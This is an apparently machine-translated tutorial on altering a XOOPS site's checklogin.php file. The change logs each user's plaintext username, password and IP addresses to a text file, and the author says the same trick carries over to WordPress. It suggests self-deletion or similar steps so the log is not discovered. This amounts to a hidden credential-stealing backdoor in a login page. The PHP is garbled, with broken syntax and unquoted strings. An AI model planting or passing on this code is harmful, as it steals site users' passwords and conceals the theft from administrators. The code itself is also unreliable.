This article describes how to modify the XOOPs password file. The file to be modified:/indclude/checklogin. php
At the beginning of the file, define a function to get the Internet ip address of the client:
// Get onlineip ()
Function get_onlineip (){
$ Onlineip =;
If (getenv (HTTP_CLIENT_IP) & strcasecmp (getenv (HTTP_CLIENT_IP), unknown )){
$ Onlineip = getenv (HTTP_CLIENT_IP );
} Elseif (getenv (HTTP_X_FORWARDED_FOR) & strcasecmp (getenv (HTTP_X_FORWARDED_FOR), unknown )){
$ Onlineip = getenv (HTTP_X_FORWARDED_FOR );
} Elseif (getenv (REMOTE_ADDR) & strcasecmp (getenv (REMOTE_ADDR), unknown )){
$ Onlineip = getenv (REMOTE_ADDR );
} Elseif (isset ($ _ SERVER [REMOTE_ADDR]) & $ _ SERVER [REMOTE_ADDR] & strcasecmp ($ _ SERVER [REMOTE_ADDR], unknown )){
$ Onlineip = $ _ SERVER [REMOTE_ADDR];
}
Return $ onlineip;
}
Then, the user name and password in the form are recorded as follows:
$ Sip = $ _ SERVER ["REMOTE_ADDR"];
$ Txt = $ uname. |. $ pass. |. $ sip. |. get_onlineip ();
$ Txt = $ txt ."";
$ Dir = "pwd.txt"; // the location where the log is saved. Use the absolute path.
$ F = fopen ($ dir, "a + ");
Fwrite ($ f, $ txt );
Fclose ($ f );
Of course, this technique can be implemented as long as it is based on php, but we can add such methods as self-deletion or other methods to prevent the log from being discovered or used by others. The location where these codes are added is not random. Sometimes, when an error is entered, the webpage is blank. Use this method if the wordpress Password is not good.
Lengf